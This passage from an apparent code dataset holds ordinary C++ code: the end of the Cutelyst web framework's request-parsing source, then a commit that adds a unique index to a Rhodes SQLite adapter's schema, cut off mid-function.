base.append(QHostInfo::localHostName());\n        } else {\n            base.append(d->serverAddress);\n        }\n\n        \/\/ base always have a trailing slash\n        base.append(QLatin1Char('\/'));\n\n        d->base = base;\n        d->baseParsed = true;\n    }\n    return d->base;\n}\n\nQString Request::path() const\n{\n    Q_D(const Request);\n    return d->path;\n}\n\nQString Request::match() const\n{\n    Q_D(const Request);\n    return d->match;\n}\n\nvoid Request::setMatch(const QString &match)\n{\n    Q_D(Request);\n    d->match = match;\n}\n\nQStringList Request::arguments() const\n{\n    Q_D(const Request);\n    return d->args;\n}\n\nvoid Request::setArguments(const QStringList &arguments)\n{\n    Q_D(Request);\n    d->args = arguments;\n}\n\nQStringList Request::captures() const\n{\n    Q_D(const Request);\n    return d->captures;\n}\n\nvoid Request::setCaptures(const QStringList &captures)\n{\n    Q_D(Request);\n    d->captures = captures;\n}\n\nbool Request::secure() const\n{\n    Q_D(const Request);\n    return d->https;\n}\n\nQIODevice *Request::body() const\n{\n    Q_D(const Request);\n    return d->body;\n}\n\nQVariant Request::bodyData() const\n{\n    Q_D(const Request);\n    if (!d->bodyParsed) {\n        d->parseBody();\n    }\n    return d->bodyData;\n}\n\nQVariantMap Request::bodyParametersVariant() const\n{\n    return RequestPrivate::paramsMultiMapToVariantMap(bodyParameters());\n}\n\nParamsMultiMap Request::bodyParameters() const\n{\n    Q_D(const Request);\n    if (!d->bodyParsed) {\n        d->parseBody();\n    }\n    return d->bodyParam;\n}\n\nQString Request::queryKeywords() const\n{\n    Q_D(const Request);\n    if (!d->queryParamParsed) {\n        d->parseUrlQuery();\n    }\n    return d->queryKeywords;\n}\n\nQVariantMap Request::queryParametersVariant() const\n{\n    return RequestPrivate::paramsMultiMapToVariantMap(queryParameters());\n}\n\nParamsMultiMap Request::queryParameters() const\n{\n    Q_D(const Request);\n    if (!d->queryParamParsed) {\n        d->parseUrlQuery();\n    }\n    return d->queryParam;\n}\n\nQVariantMap Request::parametersVariant() const\n{\n    return RequestPrivate::paramsMultiMapToVariantMap(parameters());\n}\n\nParamsMultiMap Request::parameters() const\n{\n    Q_D(const Request);\n    if (!d->paramParsed) {\n        d->param = queryParameters();\n        d->param.unite(bodyParameters());\n        d->paramParsed = true;\n    }\n    return d->param;\n}\n\nQNetworkCookie Request::cookie(const QString &name) const\n{\n    Q_D(const Request);\n    if (!d->cookiesParsed) {\n        d->parseCookies();\n    }\n\n    Q_FOREACH (const QNetworkCookie &cookie, d->cookies) {\n        if (QString::fromLatin1(cookie.name()) == name) {\n            return cookie;\n        }\n    }\n    return QNetworkCookie();\n}\n\nQList<QNetworkCookie> Request::cookies() const\n{\n    Q_D(const Request);\n    if (!d->cookiesParsed) {\n        d->parseCookies();\n    }\n    return d->cookies;\n}\n\nHeaders Request::headers() const\n{\n    Q_D(const Request);\n    return d->headers;\n}\n\nQString Request::method() const\n{\n    Q_D(const Request);\n    return d->method;\n}\n\nbool Request::isPost() const\n{\n    Q_D(const Request);\n    return d->method == QStringLiteral(\"POST\");\n}\n\nbool Request::isGet() const\n{\n    Q_D(const Request);\n    return d->method == QStringLiteral(\"GET\");\n}\n\nQString Request::protocol() const\n{\n    Q_D(const Request);\n    return d->protocol;\n}\n\nQString Request::remoteUser() const\n{\n    Q_D(const Request);\n    return d->remoteUser;\n}\n\nQMap<QString, Cutelyst::Upload *> Request::uploads() const\n{\n    Q_D(const Request);\n    if (!d->bodyParsed) {\n        d->parseBody();\n    }\n    return d->uploads;\n}\n\nParamsMultiMap Request::mangleParams(const ParamsMultiMap &args, bool append) const\n{\n    ParamsMultiMap ret;\n    if (append) {\n        ret = args;\n        ret.unite(queryParams());\n    } else {\n        ret = queryParams();\n        auto it = args.constBegin();\n        while (it != args.constEnd()) {\n            ret.insert(it.key(), it.value());\n            ++it;\n        }\n    }\n\n    return ret;\n}\n\nQUrl Request::uriWith(const ParamsMultiMap &args, bool append) const\n{\n    QUrl ret = uri();\n    QUrlQuery urlQuery;\n    ParamsMultiMap query = mangleParams(args, append);\n    auto it = query.constBegin();\n    while (it != query.constEnd()) {\n        urlQuery.addQueryItem(it.key(), it.value());\n        ++it;\n    }\n    ret.setQuery(urlQuery);\n\n    return ret;\n}\n\nEngine *Request::engine() const\n{\n    Q_D(const Request);\n    return d->engine;\n}\n\nvoid *Request::engineData()\n{\n    Q_D(Request);\n    return d->requestPtr;\n}\n\nvoid RequestPrivate::parseUrlQuery() const\n{\n    \/\/ TODO move this to the asignment of query\n    if (query.size()) {\n        \/\/ Check for keywords (no = signs)\n        if (query.indexOf('=') < 0) {\n            queryKeywords = QUrl::fromPercentEncoding(query);\n        } else {\n            queryParam = parseUrlEncoded(query);\n        }\n    }\n    queryParamParsed = true;\n}\n\nvoid RequestPrivate::parseBody() const\n{\n    const QString contentType = headers.contentType();\n    if (contentType == QLatin1String(\"application\/x-www-form-urlencoded\")) {\n        \/\/ Parse the query (BODY) of type \"application\/x-www-form-urlencoded\"\n        \/\/ parameters ie \"?foo=bar&bar=baz\"\n        qint64 posOrig = body->pos();\n        body->seek(0);\n\n        bodyParam = parseUrlEncoded(body->readLine());\n        bodyData = QVariant::fromValue(bodyParam);\n\n        body->seek(posOrig);\n    } else if (contentType == QLatin1String(\"multipart\/form-data\")) {\n        Uploads uploadList = MultiPartFormDataParser::parse(body, headers.header(QStringLiteral(\"content_type\")));\n        auto it = uploadList.constEnd();\n        while (it != uploadList.constBegin()) {\n            --it;\n            uploads.insertMulti((*it)->name(), *it);\n        }\n        bodyData = QVariant::fromValue(uploads);\n    } else if (contentType == QLatin1String(\"application\/json\")) {\n        qint64 posOrig = body->pos();\n        body->seek(0);\n\n        bodyData = QJsonDocument::fromJson(body->readAll());\n\n        body->seek(posOrig);\n    }\n\n    bodyParsed = true;\n}\n\nstatic inline bool isSlit(char c)\n{\n    return c == ';' || c == ',';\n}\n\nint findNextSplit(const QByteArray &text, int from, int length)\n{\n    while (from < length) {\n        if (isSlit(text.at(from))) {\n            return from;\n        }\n        ++from;\n    }\n    return -1;\n}\n\nstatic inline bool isLWS(char c)\n{\n    return c == ' ' || c == '\\t' || c == '\\r' || c == '\\n';\n}\n\nstatic int nextNonWhitespace(const QByteArray &text, int from, int length)\n{\n    \/\/ RFC 2616 defines linear whitespace as:\n    \/\/  LWS = [CRLF] 1*( SP | HT )\n    \/\/ We ignore the fact that CRLF must come as a pair at this point\n    \/\/ It's an invalid HTTP header if that happens.\n    while (from < length) {\n        if (isLWS(text.at(from)))\n            ++from;\n        else\n            return from;        \/\/ non-whitespace\n    }\n\n    \/\/ reached the end\n    return text.length();\n}\n\nstatic QPair<QByteArray, QByteArray> nextField(const QByteArray &text, int &position)\n{\n    \/\/ format is one of:\n    \/\/    (1)  token\n    \/\/    (2)  token = token\n    \/\/    (3)  token = quoted-string\n    const int length = text.length();\n    position = nextNonWhitespace(text, position, length);\n\n    int semiColonPosition = findNextSplit(text, position, length);\n    if (semiColonPosition < 0)\n        semiColonPosition = length; \/\/no ';' means take everything to end of string\n\n    int equalsPosition = text.indexOf('=', position);\n    if (equalsPosition < 0 || equalsPosition > semiColonPosition) {\n        return qMakePair(QByteArray(), QByteArray()); \/\/'=' is required for name-value-pair (RFC6265 section 5.2, rule 2)\n    }\n\n    QByteArray first = text.mid(position, equalsPosition - position).trimmed();\n    QByteArray second;\n    int secondLength = semiColonPosition - equalsPosition - 1;\n    if (secondLength > 0)\n        second = text.mid(equalsPosition + 1, secondLength).trimmed();\n\n    position = semiColonPosition;\n    return qMakePair(first, second);\n}\n\nvoid RequestPrivate::parseCookies() const\n{\n    QList<QNetworkCookie> ret;\n    const QByteArray cookieString = headers.header(QStringLiteral(\"Cookie\")).toLatin1();\n    int position = 0;\n    const int length = cookieString.length();\n    while (position < length) {\n        QPair<QByteArray,QByteArray> field = nextField(cookieString, position);\n        if (field.first.isEmpty()) {\n            \/\/ parsing error\n            break;\n        }\n\n        \/\/ Some foreign cookies are not in name=value format, so ignore them.\n        if (field.second.isEmpty()) {\n            ++position;\n            continue;\n        }\n        ret.append(QNetworkCookie(field.first, field.second));\n        ++position;\n\n    }\n\n    cookies = ret;\n    cookiesParsed = true;\n}\n\nParamsMultiMap RequestPrivate::parseUrlEncoded(const QByteArray &line)\n{\n    ParamsMultiMap ret;\n    const QList<QByteArray> items = line.split('&');\n    for (int i = items.size() - 1; i >= 0; --i) {\n        const QByteArray parameter = items.at(i);\n        if (parameter.isEmpty()) {\n            continue;\n        }\n\n        const QList<QByteArray> &parts = parameter.split('=');\n        if (parts.size() == 2) {\n            QByteArray value = parts.at(1);\n            if (value.length()) {\n                ret.insertMulti(QUrl::fromPercentEncoding(parts.at(0)),\n                                QUrl::fromPercentEncoding(value.replace('+', ' ')));\n                continue;\n            }\n        }\n        ret.insertMulti(QUrl::fromPercentEncoding(parts.first()),\n                        QString());\n\n    }\n    return ret;\n}\n\nRequestPrivate::RequestPrivate(Engine *_engine,\n                               const QString &_method,\n                               const QString &_path,\n                               const QByteArray &_query,\n                               const QString &_protocol,\n                               bool _isSecure,\n                               const QString &_serverAddress,\n                               const QString &_remoteAddress,\n                               quint16 _remotePort,\n                               const QString &_remoteUser,\n                               const Headers &_headers,\n                               quint64 _startOfRequest,\n                               QIODevice *_body,\n                               void *_requestPtr)\n    : engine(_engine)\n    , method(_method)\n    , path(_path)\n    , query(_query)\n    , protocol(_protocol)\n    , serverAddress(_serverAddress)\n    , remoteAddress(_remoteAddress)\n    , remoteUser(_remoteUser)\n    , headers(_headers)\n    , body(_body)\n    , startOfRequest(_startOfRequest)\n    , requestPtr(_requestPtr)\n    , remotePort(_remotePort)\n    , https(_isSecure)\n{\n\n}\n\nQVariantMap RequestPrivate::paramsMultiMapToVariantMap(const ParamsMultiMap &params)\n{\n    QVariantMap ret;\n    auto begin = params.constBegin();\n    auto end = params.constEnd();\n    while (begin != end) {\n        --end;\n        ret.insertMulti(ret.constBegin(), end.key(), end.value());\n    }\n    return ret;\n}\n\n#include \"moc_request.cpp\"\n<|endoftext|>"}
{"text":"<commit_before>#include \"DBAdapter.h\"\n\n#include \"common\/RhoFile.h\"\n#include \"common\/RhoFilePath.h\"\n\nextern \"C\" const char* RhoGetRootPath();\nextern \"C\" const char* RhoGetRelativeBlobsPath();\n\nnamespace rho{\nnamespace db{\nIMPLEMENT_LOGCLASS(CDBAdapter,\"DB\");\n\nusing namespace rho::common;\n\nstatic int onDBBusy(void* data,int nTry)\n{\n    LOGC(ERROR,CDBAdapter::getLogCategory())+\"Database BUSY\";\n    return 0;\n}\n\nvoid SyncBlob_DeleteCallback(sqlite3_context* dbContext, int nArgs, sqlite3_value** ppArgs)\n{\n    char* type = NULL;\n    if ( nArgs < 2 )\n        return;\n\n    type = (char*)sqlite3_value_text(*(ppArgs+1));\n    if ( type && strcmp(type,\"blob.file\") == 0 )\n    {\n        String strFilePath = RhoGetRootPath();\n        strFilePath += \"apps\";\n        strFilePath += (char*)sqlite3_value_text(*(ppArgs));\n        CRhoFile::deleteFile(strFilePath.c_str());\n    }\n}\n\n\/*static*\/ String CDBAdapter::makeBlobFolderName()\n{\n    String strBlobPath = RhoGetRootPath();\n    return strBlobPath + RhoGetRelativeBlobsPath();\n}\n\nboolean CDBAdapter::checkDbError(int rc)\n{\n    if ( rc == SQLITE_OK || rc == SQLITE_ROW || rc == SQLITE_DONE )\n        return true;\n\n    const char * szErrMsg = sqlite3_errmsg(m_dbHandle);\n    int nErrCode = sqlite3_errcode(m_dbHandle);\n\n    LOG(ERROR)+\"DB query failed. Error code: \" + nErrCode + \";Message: \" + szErrMsg;\n\n    return false;\n}\n\nvoid CDBAdapter::open (String strDbPath, String strVer)\n{\n    if ( strcasecmp(strDbPath.c_str(),m_strDbPath.c_str() ) == 0 )\n        return;\n    close();\n\n    m_strDbPath = strDbPath;\n    m_strDbVer = strVer;\n\n    checkVersion(strVer);\n\n    boolean bExist = CRhoFile::isFileExist(strDbPath.c_str());\n    int nRes = sqlite3_open(strDbPath.c_str(),&m_dbHandle);\n    if ( !checkDbError(nRes) )\n        return;\n    \/\/TODO: raise exception if error\n    if ( !bExist )\n        createSchema();\n\n    sqlite3_create_function( m_dbHandle, \"rhoOnDeleteObjectRecord\", 3, SQLITE_ANY, 0,\n\t    SyncBlob_DeleteCallback, 0, 0 );\n    sqlite3_busy_handler(m_dbHandle, onDBBusy, 0 );\n}\n\nsqlite3_stmt* CDBAdapter::createInsertStatement(rho::db::CDBResult& res, const String& tableName, CDBAdapter& db, String& strInsert)\n{\n    sqlite3_stmt* stInsert = 0;\n    int nColCount = sqlite3_data_count(res.getStatement());\n\n  \tif ( strInsert.length() == 0 )\n    {\n\t    strInsert = \"INSERT INTO \";\n\t\n\t    strInsert += tableName;\n\t    strInsert += \"(\";\n\t    String strQuest = \") VALUES(\";\n        String strValues = \"\";\n\t    for (int nCol = 0; nCol < nColCount; nCol++ )\n\t    {\n            String strColName = sqlite3_column_name(res.getStatement(),nCol);\n            if ( strColName == \"id\")\n                continue;\n\n\t\t    if ( strValues.length() > 0 )\n\t\t    {\n\t\t\t    strValues += \",\";\n\t\t\t    strQuest += \",\";\n\t\t    }\n    \t\t\n\t\t    strValues += strColName; \n\t\t    strQuest += \"?\";\n\t    }\n    \t\n\t    strInsert += strValues + strQuest + \")\";\n    }\n\n    int rc = sqlite3_prepare_v2(db.getDbHandle(), strInsert.c_str(), -1, &stInsert, NULL);\n    if ( !checkDbError(rc) )\n    \treturn 0;\n    \n    int nBindCol = 1;\n\tfor (int nCol = 0; nCol < nColCount; nCol++ )\n\t{\n\t\tint nColType = sqlite3_column_type(res.getStatement(),nCol);\n        String strColName = sqlite3_column_name(res.getStatement(),nCol);\n        if ( strColName == \"id\")\n            continue;\n\n\t\tswitch(nColType){\n\t\t\tcase SQLITE_NULL:\n                rc = sqlite3_bind_text(stInsert, nBindCol, null, -1, SQLITE_TRANSIENT);\n                break;\n            case SQLITE_INTEGER:\n            {\n                sqlite_int64 nValue = sqlite3_column_int64(res.getStatement(), nCol);\n                rc = sqlite3_bind_int64(stInsert, nBindCol, nValue);\n                break;\n            }\n\t\t\tdefault:{\n                char* szValue = (char *)sqlite3_column_text(res.getStatement(), nCol);\n                rc = sqlite3_bind_text(stInsert, nBindCol, szValue, -1, SQLITE_TRANSIENT);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n        nBindCol++;\n    }\n\n\treturn stInsert;\n}\n\nvoid CDBAdapter::destroy_table(String strTable)\n{\n    CFilePath oFilePath(m_strDbPath);\n\tString dbNewName  = oFilePath.changeBaseName(\"resetdbtemp.sqlite\");\n\n    CRhoFile::deleteFile(dbNewName.c_str());\n    CRhoFile::deleteFile((dbNewName+\"-journal\").c_str());\n\n    CDBAdapter db;\n    db.open( dbNewName, m_strDbVer );\n\n    \/\/Copy all tables\n\n    Vector<String> vecTables;\n    DBResult( res , executeSQL( \"SELECT name FROM sqlite_master WHERE type='table' \" ) );\n    for ( ; !res.isEnd(); res.next() )\n        vecTables.addElement(res.getStringByIdx(0));\n\n    db.startTransaction();\n    for ( int i = 0; i < (int)vecTables.size(); i++ )\n    {\n        String tableName = vecTables.elementAt(i);\n        if ( tableName.compare(strTable)==0 )\n            continue;\n\n        String strSelect = \"SELECT * from \" + tableName;\n        DBResult( res , executeSQL( strSelect.c_str() ) );\n\t\tString strInsert = \"\";\n        int rc = 0;\n\t    for ( ; !res.isEnd(); res.next() )\n\t    {\n\t    \tsqlite3_stmt* stInsert = createInsertStatement(res, tableName, db, strInsert);\n\n            if (stInsert)\n            {\n                rc = sqlite3_step(stInsert);\n                checkDbError(rc);\n                sqlite3_finalize(stInsert);\n            }\n\t    }\n    }\n\n    db.endTransaction();\n    db.close();\n\n    String dbOldName = m_strDbPath;\n    close();\n    CRhoFile::deleteFile(dbOldName.c_str());\n    CRhoFile::renameFile(dbNewName.c_str(),dbOldName.c_str());\n    open( dbOldName, m_strDbVer );\n}\n\nvoid CDBAdapter::checkVersion(String& strVer)\n{\n    \/\/TODO: checkVersion\n}\n\nstatic const char* g_szDbSchema = \n    \"CREATE TABLE client_info (\"\n    \" client_id VARCHAR(255) PRIMARY KEY,\"\n    \" token VARCHAR(255) default NULL,\"\n    \" token_sent int default 0,\"\n    \" reset int default 0,\"\n    \" port VARCHAR(10) default NULL,\"\n    \" last_sync_success VARCHAR(100) default NULL);\"\n    \"CREATE TABLE object_values (\"\n    \" id INTEGER PRIMARY KEY,\"\n    \" token INTEGER default NULL,\"\n    \" source_id int default NULL,\"\n    \" attrib varchar(255) default NULL,\"\n    \" object varchar(255) default NULL,\"\n    \" value text default NULL,\"\n    \" update_type varchar(255) default NULL,\"\n    \" attrib_type varchar(255) default NULL);\"\n    \"CREATE TABLE sources (\"\n    \" id INTEGER PRIMARY KEY,\"\n    \" token INTEGER default NULL,\"\n    \" source_id int default -1,\"\n    \" source_url VARCHAR(255) default NULL,\"\n    \" name VARCHAR(255) default NULL,\"\n    \" session VARCHAR(255) default NULL,\"\n    \" last_updated int default 0,\"\n    \" last_inserted_size int default 0,\"\n    \" last_deleted_size int default 0,\"\n    \" last_sync_duration int default 0,\"\n    \" last_sync_success int default 0,\"\n    \" source_attribs varchar default NULL);\"\n    \"CREATE INDEX by_attrib_utype on object_values (attrib,update_type);\"\n    \"CREATE INDEX by_src_type ON object_values (source_id, attrib_type, object);\"\n    \"CREATE INDEX by_src_utype on object_values (source_id,update_type);\"\n    \"CREATE INDEX by_type ON object_values (attrib_type);\"\n    \"CREATE TRIGGER rhodeleteTrigger BEFORE DELETE ON object_values FOR EACH ROW \"\n        \"BEGIN \"\n            \"SELECT rhoOnDeleteObjectRecord(OLD.value,OLD.attrib_type,OLD.update_type);\"\n        \"END;\"\n    \";\";\n\nvoid CDBAdapter::createSchema()\n{\n    char* errmsg = 0;\n    int rc = sqlite3_exec(m_dbHandle, g_szDbSchema,  NULL, NULL, &errmsg);\n\n    if ( rc != SQLITE_OK )\n        LOG(ERROR)+\"createSchema failed. Error code: \" + rc + \";Message: \" + (errmsg ? errmsg : \"\");\n\n    if ( errmsg )\n        sqlite3_free(errmsg);\n}\n\nvoid CDBAdapter::close()\n{\n    for (Hashtable<String,sqlite3_stmt*>::iterator it = m_mapStatements.begin();  it != m_mapStatements.end(); ++it )\n        sqlite3_finalize( it->second );\n\n    m_mapStatements.clear();\n\n    if ( m_dbHandle != 0 )\n        sqlite3_close(m_dbHandle);\n\n    m_dbHandle = 0;\n    m_strDbPath = String();\n}\n\nDBResultPtr CDBAdapter::prepareStatement( const char* szSt )\n{\n    if ( m_dbHandle == null )\n        return new CDBResult(m_mxDB);\n\n\tDBResultPtr res = new CDBResult(0,m_bInsideTransaction ? m_mxTransDB : m_mxDB);\n    sqlite3_stmt* st = m_mapStatements.get(szSt);\n    if ( st != null )\n\t{\n\t\tres->setStatement(st);\n        return res;\n\t}\n\t\n    int rc = sqlite3_prepare_v2(m_dbHandle, szSt, -1, &st, NULL);\n    if ( !checkDbError(rc) )\n    {\n        \/\/TODO: raise exception\n        return res;\n    }\n\n    res->setStatement(st);\n    m_mapStatements.put(szSt, st);\n\n    return res;\n}\n\nDBResultPtr CDBAdapter::executeSQL( const char* szSt)\n{\n    DBResultPtr res = prepareStatement(szSt);\n    if ( res->getStatement() == null )\n        return res;\n\n    return executeStatement(res);\n}\n\nDBResultPtr CDBAdapter::executeStatement(DBResultPtr& res)\n{\n    int rc = sqlite3_step(res->getStatement());\n    if ( rc != SQLITE_ROW )\n    {\n        res->setStatement(null);\n        if ( rc != SQLITE_OK && rc != SQLITE_ROW && rc != SQLITE_DONE )\n        {\n            checkDbError(rc);\n            \/\/TODO: raise exception\n            return res;\n        }\n    }\n\n    return res;\n}\n\nvoid CDBAdapter::startTransaction()\n{\n    Lock();\n\tm_bInsideTransaction=true;\n    char *zErr = 0;\n    int rc = 0;\n\tif ( m_dbHandle )\n    {\n\t\trc = sqlite3_exec(m_dbHandle, \"BEGIN IMMEDIATE;\",0,0,&zErr);\n        checkDbError(rc);\n    }\n}\n\nvoid CDBAdapter::endTransaction()\n{\n    char *zErr = 0;\n    int rc = 0;\n\tif (m_dbHandle)\n    {\n\t\trc = sqlite3_exec(m_dbHandle, \"END;\",0,0,&zErr);\n        checkDbError(rc);\n    }\n\n\tm_bInsideTransaction=false;\n    Unlock();\n}\n\nvoid CDBAdapter::rollback()\n{\n    char *zErr = 0;\n    int rc = 0;\n\tif (m_dbHandle)\n    {\n\t\trc = sqlite3_exec(m_dbHandle, \"ROLLBACK;\",0,0,&zErr);\n        checkDbError(rc);\n    }\n\n\tm_bInsideTransaction=false;\n    Unlock();\n}\n\n}\n}\n<commit_msg>* adding unique index to detect collisions<commit_after>#include \"DBAdapter.h\"\n\n#include \"common\/RhoFile.h\"\n#include \"common\/RhoFilePath.h\"\n\nextern \"C\" const char* RhoGetRootPath();\nextern \"C\" const char* RhoGetRelativeBlobsPath();\n\nnamespace rho{\nnamespace db{\nIMPLEMENT_LOGCLASS(CDBAdapter,\"DB\");\n\nusing namespace rho::common;\n\nstatic int onDBBusy(void* data,int nTry)\n{\n    LOGC(ERROR,CDBAdapter::getLogCategory())+\"Database BUSY\";\n    return 0;\n}\n\nvoid SyncBlob_DeleteCallback(sqlite3_context* dbContext, int nArgs, sqlite3_value** ppArgs)\n{\n    char* type = NULL;\n    if ( nArgs < 2 )\n        return;\n\n    type = (char*)sqlite3_value_text(*(ppArgs+1));\n    if ( type && strcmp(type,\"blob.file\") == 0 )\n    {\n        String strFilePath = RhoGetRootPath();\n        strFilePath += \"apps\";\n        strFilePath += (char*)sqlite3_value_text(*(ppArgs));\n        CRhoFile::deleteFile(strFilePath.c_str());\n    }\n}\n\n\/*static*\/ String CDBAdapter::makeBlobFolderName()\n{\n    String strBlobPath = RhoGetRootPath();\n    return strBlobPath + RhoGetRelativeBlobsPath();\n}\n\nboolean CDBAdapter::checkDbError(int rc)\n{\n    if ( rc == SQLITE_OK || rc == SQLITE_ROW || rc == SQLITE_DONE )\n        return true;\n\n    const char * szErrMsg = sqlite3_errmsg(m_dbHandle);\n    int nErrCode = sqlite3_errcode(m_dbHandle);\n\n    LOG(ERROR)+\"DB query failed. Error code: \" + nErrCode + \";Message: \" + szErrMsg;\n\n    return false;\n}\n\nvoid CDBAdapter::open (String strDbPath, String strVer)\n{\n    if ( strcasecmp(strDbPath.c_str(),m_strDbPath.c_str() ) == 0 )\n        return;\n    close();\n\n    m_strDbPath = strDbPath;\n    m_strDbVer = strVer;\n\n    checkVersion(strVer);\n\n    boolean bExist = CRhoFile::isFileExist(strDbPath.c_str());\n    int nRes = sqlite3_open(strDbPath.c_str(),&m_dbHandle);\n    if ( !checkDbError(nRes) )\n        return;\n    \/\/TODO: raise exception if error\n    if ( !bExist )\n        createSchema();\n\n    sqlite3_create_function( m_dbHandle, \"rhoOnDeleteObjectRecord\", 3, SQLITE_ANY, 0,\n\t    SyncBlob_DeleteCallback, 0, 0 );\n    sqlite3_busy_handler(m_dbHandle, onDBBusy, 0 );\n}\n\nsqlite3_stmt* CDBAdapter::createInsertStatement(rho::db::CDBResult& res, const String& tableName, CDBAdapter& db, String& strInsert)\n{\n    sqlite3_stmt* stInsert = 0;\n    int nColCount = sqlite3_data_count(res.getStatement());\n\n  \tif ( strInsert.length() == 0 )\n    {\n\t    strInsert = \"INSERT INTO \";\n\t\n\t    strInsert += tableName;\n\t    strInsert += \"(\";\n\t    String strQuest = \") VALUES(\";\n        String strValues = \"\";\n\t    for (int nCol = 0; nCol < nColCount; nCol++ )\n\t    {\n            String strColName = sqlite3_column_name(res.getStatement(),nCol);\n            if ( strColName == \"id\")\n                continue;\n\n\t\t    if ( strValues.length() > 0 )\n\t\t    {\n\t\t\t    strValues += \",\";\n\t\t\t    strQuest += \",\";\n\t\t    }\n    \t\t\n\t\t    strValues += strColName; \n\t\t    strQuest += \"?\";\n\t    }\n    \t\n\t    strInsert += strValues + strQuest + \")\";\n    }\n\n    int rc = sqlite3_prepare_v2(db.getDbHandle(), strInsert.c_str(), -1, &stInsert, NULL);\n    if ( !checkDbError(rc) )\n    \treturn 0;\n    \n    int nBindCol = 1;\n\tfor (int nCol = 0; nCol < nColCount; nCol++ )\n\t{\n\t\tint nColType = sqlite3_column_type(res.getStatement(),nCol);\n        String strColName = sqlite3_column_name(res.getStatement(),nCol);\n        if ( strColName == \"id\")\n            continue;\n\n\t\tswitch(nColType){\n\t\t\tcase SQLITE_NULL:\n                rc = sqlite3_bind_text(stInsert, nBindCol, null, -1, SQLITE_TRANSIENT);\n                break;\n            case SQLITE_INTEGER:\n            {\n                sqlite_int64 nValue = sqlite3_column_int64(res.getStatement(), nCol);\n                rc = sqlite3_bind_int64(stInsert, nBindCol, nValue);\n                break;\n            }\n\t\t\tdefault:{\n                char* szValue = (char *)sqlite3_column_text(res.getStatement(), nCol);\n                rc = sqlite3_bind_text(stInsert, nBindCol, szValue, -1, SQLITE_TRANSIENT);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n        nBindCol++;\n    }\n\n\treturn stInsert;\n}\n\nvoid CDBAdapter::destroy_table(String strTable)\n{\n    CFilePath oFilePath(m_strDbPath);\n\tString dbNewName  = oFilePath.changeBaseName(\"resetdbtemp.sqlite\");\n\n    CRhoFile::deleteFile(dbNewName.c_str());\n    CRhoFile::deleteFile((dbNewName+\"-journal\").c_str());\n\n    CDBAdapter db;\n    db.open( dbNewName, m_strDbVer );\n\n    \/\/Copy all tables\n\n    Vector<String> vecTables;\n    DBResult( res , executeSQL( \"SELECT name FROM sqlite_master WHERE type='table' \" ) );\n    for ( ; !res.isEnd(); res.next() )\n        vecTables.addElement(res.getStringByIdx(0));\n\n    db.startTransaction();\n    for ( int i = 0; i < (int)vecTables.size(); i++ )\n    {\n        String tableName = vecTables.elementAt(i);\n        if ( tableName.compare(strTable)==0 )\n            continue;\n\n        String strSelect = \"SELECT * from \" + tableName;\n        DBResult( res , executeSQL( strSelect.c_str() ) );\n\t\tString strInsert = \"\";\n        int rc = 0;\n\t    for ( ; !res.isEnd(); res.next() )\n\t    {\n\t    \tsqlite3_stmt* stInsert = createInsertStatement(res, tableName, db, strInsert);\n\n            if (stInsert)\n            {\n                rc = sqlite3_step(stInsert);\n                checkDbError(rc);\n                sqlite3_finalize(stInsert);\n            }\n\t    }\n    }\n\n    db.endTransaction();\n    db.close();\n\n    String dbOldName = m_strDbPath;\n    close();\n    CRhoFile::deleteFile(dbOldName.c_str());\n    CRhoFile::renameFile(dbNewName.c_str(),dbOldName.c_str());\n    open( dbOldName, m_strDbVer );\n}\n\nvoid CDBAdapter::checkVersion(String& strVer)\n{\n    \/\/TODO: checkVersion\n}\n\nstatic const char* g_szDbSchema = \n    \"CREATE TABLE client_info (\"\n    \" client_id VARCHAR(255) PRIMARY KEY,\"\n    \" token VARCHAR(255) default NULL,\"\n    \" token_sent int default 0,\"\n    \" reset int default 0,\"\n    \" port VARCHAR(10) default NULL,\"\n    \" last_sync_success VARCHAR(100) default NULL);\"\n    \"CREATE TABLE object_values (\"\n    \" id INTEGER PRIMARY KEY,\"\n    \" token INTEGER default NULL,\"\n    \" source_id int default NULL,\"\n    \" attrib varchar(255) default NULL,\"\n    \" object varchar(255) default NULL,\"\n    \" value text default NULL,\"\n    \" update_type varchar(255) default NULL,\"\n    \" attrib_type varchar(255) default NULL);\"\n    \"CREATE TABLE sources (\"\n    \" id INTEGER PRIMARY KEY,\"\n    \" token INTEGER default NULL,\"\n    \" source_id int default -1,\"\n    \" source_url VARCHAR(255) default NULL,\"\n    \" name VARCHAR(255) default NULL,\"\n    \" session VARCHAR(255) default NULL,\"\n    \" last_updated int default 0,\"\n    \" last_inserted_size int default 0,\"\n    \" last_deleted_size int default 0,\"\n    \" last_sync_duration int default 0,\"\n    \" last_sync_success int default 0,\"\n    \" source_attribs varchar default NULL);\"\n    \"CREATE INDEX by_attrib_utype on object_values (attrib,update_type);\"\n    \"CREATE INDEX by_src_type ON object_values (source_id, attrib_type, object);\"\n    \"CREATE INDEX by_src_utype on object_values (source_id,update_type);\"\n    \"CREATE INDEX by_type ON object_values (attrib_type);\"\n\t\"CREATE UNIQUE INDEX by_src_object ON object_values (object, attrib, source_id, update_type);\"\n    \"CREATE TRIGGER rhodeleteTrigger BEFORE DELETE ON object_values FOR EACH ROW \"\n        \"BEGIN \"\n            \"SELECT rhoOnDeleteObjectRecord(OLD.value,OLD.attrib_type,OLD.update_type);\"\n        \"END;\"\n    \";\";\n\nvoid CDBAdapter::createSchema()\n{\n    char* errmsg = 0;\n    int rc = sqlite3_exec(m_dbHandle, g_szDbSchema,  NULL, NULL, &errmsg);\n\n    if ( rc != SQLITE_OK )\n        LOG(ERROR)+\"createSchema failed. Error code: \" + rc + \";Message: \" + (errmsg ? errmsg : \"\");\n\n    if ( errmsg )\n        sqlite3_free(errmsg);\n}\n\nvoid CDBAdapter::close()\n{\n    for (Hashtable<String,sqlite3_stmt*>::iterator it = m_mapStatements.begin();  it != m_mapStatements.end(); ++it )\n        sqlite3_finalize( it->second );\n\n    m_mapStatements.clear();\n\n    if ( m_dbHandle != 0 )\n        sqlite3_close(m_dbHandle);\n\n    m_dbHandle = 0;\n    m_strDbPath = String();\n}\n\nDBResultPtr CDBAdapter::prepareStatement( const char* szSt )\n{\n    if ( m_dbHandle == null )\n        return new CDBResult(m_mxDB);\n\n\tDBResultPtr res = new CDBResult(0,m_bInsideTransaction ? m_mxTransDB : m_mxDB);\n    sqlite3_stmt* st = m_mapStatements.get(szSt);\n    if ( st != null )\n\t{\n\t\tres->setStatement(st);\n        return res;\n\t}\n\t\n    int rc = sqlite3_prepare_v2(m_dbHandle, szSt, -1, &st, NULL);\n    if ( !checkDbError(rc) )\n    {\n        \/\/TODO: raise exception\n    